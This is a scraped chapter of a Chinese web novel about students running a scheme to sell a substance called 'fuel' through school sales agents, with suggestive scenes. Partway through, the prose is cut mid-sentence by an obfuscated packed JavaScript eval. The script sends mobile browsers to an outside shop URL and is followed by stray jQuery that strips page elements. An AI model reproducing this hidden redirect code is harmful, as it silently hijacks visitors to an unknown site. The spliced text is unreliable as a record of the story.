抽成?
这个词从郑多映口中饱含暗示意味地说出,梁允夏敏锐地瞪大了眼睛。
她有些惊讶地看向郑多映,似乎完全没想到还能这么做。
郑多映对那样的视线视若无睹,她笑说:
“靠上格斗场能挣几个钱?成为供货商,不管是钱,还是燃料,都不是问题。”
“千万不要说我没良心喔?大老板挣了那么多钱,我们抽出一点‘辛苦费’,也是人之常情吧?”
梁允夏点点头,暗暗认可了郑多映的说法,满口答应下来:
“都听你的了,多映。”
郑多映得到了想要的答复,笑着向梁允夏点头,摆出了离开的姿态。
她暧昧的目光在梁允夏和那男孩之间流连:“那么我去回复大老板了,夜晚愉快啊~,允夏。”
郑多映的身影在房内消失,半晌,梁允夏把烟头按灭在床头的烟灰缸里。
能拿到燃料就行,她出神地想,只要保住了学测的排名,一切都好说。
不……或许,有了足够的“燃料”,她的名次能比上次进步的还要多。
……虽然代价是每天再牺牲几个小时睡眠时间,不过,至少不是赔本的买卖。
梁允夏摘下黑框眼镜,然后随手将那东西扔到了床头柜上。
她示意身边的男孩坐近一些:“过来,给我按摩一下。”
男孩应了一声,表情几番变换挣扎,迟迟没有动作。
梁允夏没等来男生的服务,奇怪地偏头看去。
见他面露纠结,她恍然一笑。
“怎么?伤心了吗?……”她拉住男生的手,轻轻吻了一下,“抱歉啦,说让郑多映一起是开玩笑的,我怎么可能舍得?”
男生被她亲吻,一颤,猛地抱住梁允夏。
“好啦好啦……”
梁允夏抚摸着这个异常乖巧柔顺的男孩。
“我最喜欢你了。”
男生声音闷闷的,带着微不可察的颤音:“允夏姐……”
他的声音低到几近于无:
“我,只有允夏姐了……”
梁允夏习惯了男孩的自卑胆怯,没太在意,轻声哄他:
“乖,给我按摩好不好?”
“……嗯!”男孩擦了擦眼角,乖巧点头。
一阵布料摩擦的声音之后,梁允夏的后背陷入了一片柔软的胸膛。
男孩卖力地为她捏着肩膀,听见梁允夏放松的喟叹。
他小心地拨开她颈间半干的头发,视线扫过,瞳孔猛然紧缩。
梁允夏有着完美的肩颈线条,背上的肌肉充满力量感。
这具年轻的躯体无一处不在昭示着少年的生机与力量。
唯有颈间一小块肌肤。
打褶的橘皮组织像是一块粗糙的树皮,悄无声息地蜷缩在梁允夏的颈间。
男孩闭起眼睛,头像是猛地被人重击了一下,开始发晕。
他没敢说什么,手上动作不停,只是按摩的动作没那么稳重了。
他紧紧咬住牙齿,防止自己发出惊恐的声音。
梁允夏浑然不觉。
她靠在人肉软垫上,悠哉悠哉地,在手机上编辑着明天的请假理由。
郑多映退出房间,脸上的笑意怎么也藏不住,她哼着歌进了电梯,熟稔地刷了自己的权限卡。
郑多映敲门,顶楼的房间应声敞开。
“晚上好~。”她和几位目光警惕的“同事”打过招呼,尔后又向坐在正中间的蜜色肌肤少男致意。
“大哥,您好吗?”
不用问,车元瑞的脸色一看就不是好的样子。
他也没理会郑多映,一直盯着手机。
“来了?”车元瑞说道,“坐吧。”
自从被徐抒恩甩了之后,每天都那副死人脸。
郑多映撇撇嘴。
要她说,车元瑞被甩真是理所当然,徐抒恩和他恋爱过,已经是奇迹了。
也就是在心里说说而已,郑多映表面功夫做得很好,恭恭敬敬地和车元瑞汇报:
“抱歉,因为招募的事情,稍微耽误了一点时间。”
“不过,要恭喜大哥。——我这里,一共招募了七名代理商。”
她顿了顿,
“而且,其中还有可以代替名车手ON来为我们宣传的特别代理商——”
“梁允夏~。”
享受着旁人投来或是羡慕或是忮忌的目光,郑多映知道,她是目前为止招募到最多下级代理商的人。
“燃料”的性质特殊,符合销售条件的人很少;又或者即使符合了条件,也少有人敢轻易接受代理的活计。
而且,她是唯一招募到特别代理商的人,弥补了ON合约的损失。
车元瑞终于有了反应,他扫过郑多映恭谨的脸,淡声道:
“不错。”
“以后东区学校的销售总代理,就是郑多映了,”
车元瑞站起身,他撑着桌子,凌厉的目光扫过其他的代理们,
“有意见的话,现在提出来。”
整个会议间彻底没了声音,安静得落针可闻。车元瑞抬抬眼皮,有些心不在焉地摆手。
“都没意见?很好。郑多映,接下来的事情都由你来负责。”
“别让我失望。”
郑多映笑着应道:“是,大哥。请您看着吧~!”
车元瑞抓起外套,处理完正事之后,彻底失去了耐心。
他离开会议室,几乎把手机握碎,身体里的暴力分子在扩散。
X的,这都几天了……不是说好假分手吗?小恩怎么还不来找他。
就算是避嫌也太久了……说是让他等着,可……
他没办法再等下去了。
房间里的所有人起身弯腰,目送着车元瑞离开,只有站在中央的郑多映眸中闪烁着不屑的光。
郑多映对着车元瑞的背影,缓缓做了两个字的口型。
蠢,
X。
她转过身,用着丝毫不真切的笑容面对着昔日的“同事”们,也就是今日的下属们。
“让我们来聊聊销售的事情吧?”郑多映神态安然悠哉。“我们得加油了,至少要让我的总代理位置坐稳,对不对?”
“我们的目标是在学生会长选举后,通过崔锡林,把东区所有学校的销售比率提高到80%以上。”
“听懂了?哈哈,那就就坐下来谈谈方法好了,各位。”
*
徐抒恩撑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757594|201888||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
带着水珠的草坪,轻巧地站起。
随着她的动作,制服裙不再遮盖地上人的面容,露出崔锡林双目无神的面容。
徐抒恩整理着衬衫下摆,抽空调出了游戏视窗。
游戏CG的第三行,也就是属于崔锡林的那一行,在她的不懈努力之下,终于只剩下最后一张未解锁。
徐抒恩满意地拍了拍崔锡林水光粼粼的脸颊,她在他身上收集了不少时长,真是辛苦他了。
她照例扔掉擦拭用的湿巾,然后衣冠整齐地拨开了草丛。
一道强光射来,徐抒恩不适地闭起眼睛,她突然意识到了什么,手肘用力向身后一击。
女人的痛呼声响起,紧接着是另一侧打过来的拳头,徐抒恩一边躲闪,一边回击。
被那道强光晃中,徐抒恩的视力一时半会儿还恢复不了。
她眯着眼,和身后两个女人缠斗在一起。
交手中,她能感觉到那两个女人实力不俗,绝对是超越正式选手的水准。
“呵……”
徐抒恩后退一步,明白自己被人摆了一道。
这样下去不是办法啊……
她敏锐地感觉到,拿着灯的人越来越靠近了。
崔锡林的人……?不像。如果崔锡林有这种手段,早该在她第一次威胁的时候就用上了,何必等到今天。
只是,如果不是崔锡林,还有谁会知道她在这里?崔锡林是那种会把这种事情说出去的人?……
徐抒恩敛下思绪。
想这些也没什么意义,目前最重要的,是把这几个人都解决掉。
暂时无法确定她们有几个人,不过,只要人数在二十以内,她就有信心全身而退。
……脱身后,再思考来者是谁好了。
徐抒恩的反击猛然加快,可那个拿着强光手电的人却没再继续靠近。
从那个方向,徐抒恩听见一道玩味的女声。
“好啦,都停手吧。”
那道声音落下,和徐抒恩还在打斗中的两个女人居然真的住了手,徐抒恩一拳没收力,结结实实地打在其中一人的脸上。
即使被那道极大力的拳头击中,女人也没吭一声。
徐抒恩意识到,那个拿着强光手电的女人,大概率就是身后这两人效忠的对象。
她的视力恢复得稍微好一些了,恰好那女人似乎是为了让徐抒恩看清她一样,把光束照向了另一个方向。
徐抒恩闭了闭眼,待看清那女人的脸之后,语气中满是惊讶:
“……是你?”
即使女人的脸爬满了皱纹,意气风发的相貌不再,徐抒恩却还是一眼认出了她。
才几年过去,她怎么会老成这样?
“崔……会长?”徐抒恩念出了这个耐人寻味的称呼。
她发现有时候命运还真有趣。
老子是会长,男儿也是会长,干的还是如出一辙的勾当。
长相老迈的女人关掉了手电筒,向徐抒恩靠近。
“真是好久不见了,徐抒恩。”
女人的语气不像一个长辈,反而像是和徐抒恩平辈的朋友,
“我那个不争气的长男被人设计,我还奇怪着呢……”
“原来是你做的。”